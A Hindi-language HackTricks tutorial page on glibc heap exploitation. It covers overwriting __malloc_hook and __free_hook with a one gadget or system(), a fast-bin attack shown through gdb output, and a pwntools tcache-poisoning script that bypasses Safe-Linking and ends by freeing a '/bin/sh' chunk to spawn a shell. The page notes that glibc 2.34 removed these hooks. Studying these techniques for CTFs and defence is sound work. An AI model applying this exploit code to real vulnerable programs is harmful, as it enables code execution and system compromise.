WWW2Exec - __malloc_hook & __free_hook

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Malloc Hook

जैसा कि आप Official GNU site पर देख सकते हैं, __malloc_hook एक पॉइंटर है जो एक फ़ंक्शन के पते की ओर इशारा करता है जिसे malloc() के कॉल होने पर बुलाया जाएगा libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत। इसलिए, यदि इस पते को एक One Gadget से ओवरराइट किया जाता है और malloc को कॉल किया जाता है, तो One Gadget को बुलाया जाएगा

malloc को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **printf("%10000$c")** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे libc malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है।

One Gadget के बारे में अधिक जानकारी के लिए:

One Gadget

warning

ध्यान दें कि GLIBC >= 2.34 के लिए हुक निष्क्रिय हैं। आधुनिक GLIBC संस्करणों पर उपयोग की जाने वाली अन्य तकनीकें हैं। देखें: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करता है, एक असंरचित बिन हमले के बाद:

Unsorted Bin Attack

यदि बाइनरी में प्रतीक हैं, तो __free_hook का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:

bash
gef➤  p &__free_hook

पोस्ट में आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- यहाँ ब्रेक करें
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

पिछले कोड में उल्लिखित ब्रेक में $eax में फ्री हुक का पता स्थित होगा।

अब एक फास्ट बिन अटैक किया जाता है:

  • सबसे पहले यह पता लगाया जाता है कि __free_hook स्थान पर 200 आकार के फास्ट चंक्स के साथ काम करना संभव है:
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा।
  • इसके लिए, आकार 0xfc का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार 0xfc*2 = 0x1f8 के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं।
  • फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के fd पते को पिछले __free_hook फ़ंक्शन की ओर इंगित किया जा सके।
  • फिर, आकार 0x1f8 का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार 0x1f8 का एक और चंक बनाया जा सके जो __free_hook में एक फास्ट बिन चंक प्राप्त करे जिसे system फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
  • और अंत में, एक चंक जिसमें स्ट्रिंग /bin/sh\x00 है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो __free_hook फ़ंक्शन को ट्रिगर करता है जो /bin/sh\x00 को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है।

Tcache विषाक्तता & सुरक्षित-लिंकिंग (glibc 2.32 – 2.33)

glibc 2.32 ने सुरक्षित-लिंकिंग पेश किया - एक अखंडता-चेक जो tcache और फास्ट-बिन द्वारा उपयोग किए जाने वाले एकल-लिंकित सूचियों की रक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (fd) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ गुप्त रूप से स्टोर करता है:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

शोषण के परिणाम:

  1. एक heap leak अनिवार्य है - हमलावर को एक मान्य छिपा हुआ पॉइंटर बनाने के लिए chunk_addr >> 12 का रनटाइम मान जानना चाहिए।
  2. केवल पूर्ण 8-बाइट पॉइंटर को ही बनाया जा सकता है; एकल-बाइट आंशिक ओवरराइट चेक पास नहीं करेगा।

इसलिए, glibc 2.32/2.33 पर __free_hook को ओवरराइट करने के लिए एक न्यूनतम tcache-poisoning प्राइमिटिव इस प्रकार दिखता है:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

उपरोक्त स्निपेट हाल के CTF चुनौतियों से अनुकूलित किया गया था जैसे कि UIUCTF 2024 – «Rusty Pointers» और openECSC 2023 – «Babyheap G», जिनमें से दोनों ने __free_hook को ओवरराइट करने के लिए Safe-Linking बायपास पर निर्भर किया।


glibc ≥ 2.34 में क्या बदला?

glibc 2.34 (अगस्त 2021) से शुरू होकर आवंटन हुक __malloc_hook, __realloc_hook, __memalign_hook और __free_hook को सार्वजनिक API से हटा दिया गया है और अब आवंटक द्वारा इनका आह्वान नहीं किया जाता है। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन इन्हें ओवरराइट करने से malloc() या free() के नियंत्रण प्रवाह पर अब कोई प्रभाव नहीं पड़ता।

व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर, आपको अन्य हाईजैक प्राइमिटिव (IO-FILE, __run_exit_handlers, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे।

यदि आपको अभी भी डिबगिंग के लिए पुरानी कार्यप्रणाली की आवश्यकता है, तो glibc libc_malloc_debug.so प्रदान करता है जिसे पूर्व-लोड किया जा सकता है ताकि विरासती हुक फिर से सक्षम हो सकें - लेकिन यह पुस्तकालय उत्पादन के लिए नहीं है और भविष्य के रिलीज़ में गायब हो सकता है


संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें